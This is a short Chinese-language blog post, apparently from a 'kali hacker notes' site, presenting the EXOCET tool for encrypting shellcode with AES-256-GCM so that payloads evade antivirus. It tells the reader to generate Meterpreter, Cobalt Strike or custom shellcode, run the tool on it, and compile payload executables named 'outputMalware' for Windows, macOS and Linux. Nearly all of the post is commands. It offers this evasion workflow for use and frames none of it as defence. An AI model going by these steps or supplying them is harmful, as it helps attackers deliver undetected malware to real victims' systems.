日期:
来源:kali黑客笔记收集编辑:
关于
EXOCET 基于 Metasploit 的Evasive Payloads模块,因为 EXOCET 在 GCM 模式(Galois/Counter 模式)下使用 AES-256。Metasploit 的 Evasion Payloads 使用易于检测的 RC4 加密。虽然 RC4 可以更快地解密,但 AES-256 很难确定恶意软件的意图。
安装
首先,我们需要在Linux环境中安装Go开发环境。
sudo apt-get update && sudo apt-get install -y golang
接着,克隆项目文件
github.com/tanc7/EXOCET-AV-Evasion
使用
第一步:生成 shellcode,这可以来自 msfvenom Meterpreter 有效载荷、Cobalt Strike Beacons 或您自己的 C 兼容格式的自定义 shellcode
第 二步:仅将 shellcode 代码复制到像 kali.txt 这样的文本文件中,不包括引号
接着,根据系统类型。进行生成相关shell
go run exocet-shellcode-exec.go kali.txt shellcodetest.go KEY
对于 64 位 Windows 目标
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
然后出现一个文件outputmalware.exe
对于 64 位 MacOS 目标
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
对于 64 位 Linux 目标
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
效果
更多精彩文章 欢迎关注我们